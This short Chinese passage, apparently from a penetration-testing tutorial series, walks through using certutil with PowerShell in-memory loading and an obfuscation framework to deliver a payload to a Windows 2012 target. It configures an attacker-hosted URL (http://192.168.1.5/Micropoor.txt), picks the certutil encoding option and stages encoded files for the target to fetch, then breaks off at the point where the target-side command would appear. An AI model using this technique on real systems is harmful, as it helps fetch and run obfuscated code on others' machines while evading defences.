而配合 powershell 的内存加载，则可把 certutil 发挥更强大。

靶机：windows 2012

而今天需要的是一款 powershell 的混淆框架的配合

使用方法：

生成payload：（有关生成payload，会在未来的系列中讲到）

启动apache：

powershell框架设置：

SET URL http://192.168.1.5/Micropoor.txt

CERTUTIL

ALL

1

混淆内容保存txt，后进行encode

把 cer.cer 与 Micropoo.txt 放置同一目录下。

目标机执行：